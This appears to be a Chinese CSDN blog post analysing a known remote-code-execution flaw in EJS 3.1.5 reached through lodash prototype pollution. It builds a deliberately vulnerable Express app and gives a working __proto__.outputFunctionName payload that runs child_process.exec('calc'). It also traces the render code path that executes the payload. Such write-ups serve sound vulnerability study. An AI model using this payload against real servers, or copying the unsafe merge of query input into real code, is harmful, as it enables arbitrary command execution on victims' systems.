ejs原型链污染rce分析

文章详细介绍了如何搭建环境来复现EJS模板引擎中的一个特定漏洞,该漏洞涉及原型链污染,允许攻击者通过构造特定的payload执行任意代码。通过分析流程,作者展示了漏洞的触发点在于`res.render`方法和EJS引擎的编译过程,其中`outputFunctionName`参数被用于拼接代码并执行。文章提供了payload构造方法,并给出了利用此漏洞执行`calc`命令的例子。
摘要由CSDN通过智能技术生成

记录自己的理解,有什么不对的欢迎各位师傅指正。

一、环境搭建

npm install ejs@3.1.5
npm install lodash@4.17.4
npm install express

注意这里的ejs版本需要低一些,因为高版本修复了该漏洞。加了一些正则匹配,如果出现outputFunctionName is not a valid JS identifier错误的话,证明你的版本比较高。

index.js

var express = require('express');
var _= require('lodash');
var ejs = require('ejs');

var app = express();
//设置模板的位置
app.set('views', __dirname);

//对原型进行污染
// var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';



//进行渲染
app.get('/', function (req, res) {
    var malicious_payload = req.query.malicious_payload;
    _.merge({}, JSON.parse(malicious_payload));
    res.render ("./test.ejs",{
        message: 'lufei test '
    });
});

//设置http
var server = app.listen(8888, function () {

    var port = server.address().port

    console.log("应用实例,访问地址为 http://127.0.0.1:%s", port)
});

test.ejs

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title></title>
</head>
<body>

<h1><%= message%></h1>

</body>
</html>

二、漏洞复现

malicious_payload = {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}

三、漏洞分析

3.1、流程分析

var malicious_payload = req.query.malicious_payload;
    _.merge({}, JSON.parse(malicious_payload));

这里的代码获取我们传入的get参数。然后解析成json格式,接着调用merge函数,这样的话就会产生原型链污染。就理解成我们可以控制一些参数。

例如我们的payload,把Object对象的outputFunctionName的值设置为我们精心构造的值。

接下来我们思考如何如果用到这个值,以及在哪执行的代码。如何去构造这个payload。先从入口函数开始看。

 res.render ("./test.ejs",{
        message: 'lufei test '
    });

这边是调用response对象的render方法去渲染页面,第一个参数为模板文件路径。第二个是一个对象,里面就一个属性,message的属性值为lufei test,字符串类型。

res.render = function render(view, options, callback) {
  var app = this.req.app;
  var done = callback;
  var opts = options || {};
  var req = this.req;
  var self = this;

  // support callback function as second arg
  if (typeof options === 'function') {
    done = options;
    opts = {};
  }

  // merge res.locals
  opts._locals = self.locals;

  // default callback to respond
  done = done || function (err, str) {
    if (err) return req.next(err);
    self.send(str);
  };

  // render
  app.render(view, opts, done);
};

其中我们看到app.render(view, opts, done);这行代码,前面一些代码都不重要,这里调用了app对象里面的render方法,这边会进入到View这个文件的构造方法里。这里比较重要。

function View(name, options) {
  var opts = options || {};

  this.defaultEngine = opts.defaultEngine;
  this.ext = extname(name);
  this.name = name;
  this.root = opts.root;

  if (!this.ext && !this.defaultEngine) {
    throw new Error('No default engine was specified and no extension was provided.');
  }

  var fileName = name;

  if (!this.ext) {
    // get extension from default engine name
    this.ext = this.defaultEngine[0] !== '.'
      ? '.' + this.defaultEngine
      : this.defaultEngine;

    fileName += this.ext;
  }

  if (!opts.engines[this.ext]) {
    // load engine
    var mod = this.ext.slice(1)
    debug('require "%s"', mod)

    // default engine export
    var fn = require(mod).__express

    if (typeof fn !== 'function') {
      throw new Error('Module "' + mod + '" does not provide a view engine.')
    }

    opts.engines[this.ext] = fn
  }

可以看到,我们传入的name是./test.ejs,通过extname可以获取到.ejs,然后偶他会判断后缀名是否不存在,或者不存在默认的引擎。然后再判断一次是否不存在后缀。我们这边都不满足,所以都跳过了。

接着判断是否不在这个opts.engines里面,相当于引擎容器,这时是空的,所以一定会进去。里面的代码好好看看,先把第一个.字符截取掉,然后去require这个ejs模块,将__express赋值给fn。我们看看__express是什么。

__express就是exports.renderFile这个函数。然后将fn赋值给opts.engines[this.ext],然后赋值给this.engine。这边记住这个this.engine。继续从app.render分析。

app.render = function render(name, options, callback) {
  var cache = this.cache;
  var done = callback;
  var engines = this.engines;
  var opts = options;
  var renderOptions = {};
  var view;

  // support callback function as second arg
  if (typeof options === 'function') {
    done = options;
    opts = {};
  }

  // merge app.locals
  merge(renderOptions, this.locals);

  // merge options._locals
  if (opts._locals) {
    merge(renderOptions, opts._locals);
  }

  // merge options
  merge(renderOptions, opts);

  // set .cache unless explicitly provided
  if (renderOptions.cache == null) {
    renderOptions.cache = this.enabled('view cache');
  }

  // primed cache
  if (renderOptions.cache) {
    view = cache[name];
  }

  // view
  if (!view) {
    var View = this.get('view');

    view = new View(name, {
      defaultEngine: this.get('view engine'),
      root: this.get('views'),
      engines: engines
    });

    if (!view.path) {
      var dirs = Array.isArray(view.root) && view.root.length > 1
        ? 'directories "' + view.root.slice(0, -1).join('", "') + '" or "' + view.root[view.root.length - 1] + '"'
        : 'directory "' + view.root + '"'
      var err = new Error('Failed to lookup view "' + name + '" in views ' + dirs);
      err.view = view;
      return done(err);
    }

    // prime the cache
    if (renderOptions.cache) {
      cache[name] = view;
    }
  }

  // render
  tryRender(view, renderOptions, done);
};

中间的一些代码也不是很重要,其中最后一行代码调用了tryRender方法,我们继续跟进。

function tryRender(view, options, callback) {
  try {
    view.render(options, callback);
  } catch (err) {
    callback(err);
  }
}

代码来到try里面。调用view对象的render方法。

然后调用this.engine这个函数,这个函数其实就是ejs里面的rendFile函数。前面我们分析过为什么了。然后继续跟进。

exports.renderFile = function () {
  var args = Array.prototype.slice.call(arguments);
  var filename = args.shift();
  var cb;
  var opts = {filename: filename};
  var data;
  var viewOpts;

  // Do we have a callback?
  if (typeof arguments[arguments.length - 1] == 'function') {
    cb = args.pop();
  }
  // Do we have data/opts?
  if (args.length) {
    // Should always have data obj
    data = args.shift();
    // Normal passed opts (data obj + opts obj)
    if (args.length) {
      // Use shallowCopy so we don't pollute passed in opts obj with new vals
      utils.shallowCopy(opts, args.pop());
    }
    // Special casing for Express (settings + opts-in-data)
    else {
      // Express 3 and 4
      if (data.settings) {
        // Pull a few things from known locations
        if (data.settings.views) {
          opts.views = data.settings.views;
        }
        if (data.settings['view cache']) {
          opts.cache = true;
        }
        // Undocumented after Express 2, but still usable, esp. for
        // items that are unsafe to be passed along with data, like `root`
        viewOpts = data.settings['view options'];
        if (viewOpts) {
          utils.shallowCopy(opts, viewOpts);
        }
      }
      // Express 2 and lower, values set in app.locals, or people who just
      // want to pass options in their data. NOTE: These values will override
      // anything previously set in settings  or settings['view options']
      utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
    }
    opts.filename = filename;
  }
  else {
    data = {};
  }

  return tryHandleCache(opts, data, cb);
};

继续最后一行,执行tryHandleCache方法。跟进。

cb是存在的回调函数,所以不进入if,进入else。这里注意,调用了handleCache方法,肯定会返回一个函数的。因为在后面加了(data)。会去调用这个函数。

继续跟进handleCache函数。

然后来到exports.compile函数,里面传了两个参数第一个是模板。通过前面文件读取test.ejs里面的内容获取的值。第二个是一个对象。继续跟进。

可以看到最后调用了templ.compile。编译模板文件。继续跟进。

注意看。this.source此时为空,进入if。然后看到代码

if (opts.outputFunctionName) {
prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
}

如果opts里面存在outputFunctionName属性的话。就进行字符串拼接。然后赋值给prepended属性。

接着将prependedp拼接传入给了this.source。

然后赋值给了src属性。这里的ctor就是Function。也就是这里创建了一个函数,第一个参数就是函数需要传入的变量,第二个参数就是函数执行的内容。那么第二个参数我们如果能控制的话,并且调用了这个函数,就可以任意代码执行。

下面刚好调用了apply方法,执行了这个函数。这里也是代码执行的点。

但是他并不会直接执行这里的代码,前面有一个三元运算符,opts.client为true的话,就将fn赋值给returnedFn,这里他是false。所以将anonymous这个函数赋值给returnedFn。然后ruturn返回。一直返回到我们之前说的那个调用这个函数的地方。最后才会进入这个函数里面去调用。最终执行代码。

3.2、payload构造

我们先梳理一下漏洞的产生。

  • 需要有一个原型链污染,这样我们可以控制一些没有赋值的变量

  • 在ejs渲染的时候会去拼接outputFunctionName这个变量。赋值给src

  • 然后运行src代码

那么我们构造payload就需要知道拼接是怎么拼接的。代码如下。

 if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }

其中prepended为

var __output = "";

function __append(s) { if (s !== undefined && s !== null) __output += s }

然后加上var ,接着加上我们的payload。然后加上= __append;

。整理一下 如下代码。

  var __output = "";
  function __append(s) { if (s !== undefined && s !== null) __output += s }
  var  [payload拼接所在的 地方] = __append;

那么我们将payload设置为

_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}

最终的代码会变成

 var __output = "";
  function __append(s) { if (s !== undefined && s !== null) __output += s }
  var  _tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2 = __append;

最终成为一个可以运行的代码。

参考

https://xz.aliyun.com/t/7075#toc-5

https://evi0s.com/2019/08/30/expresslodashejs-%E4%BB%8E%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%B0rce/

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值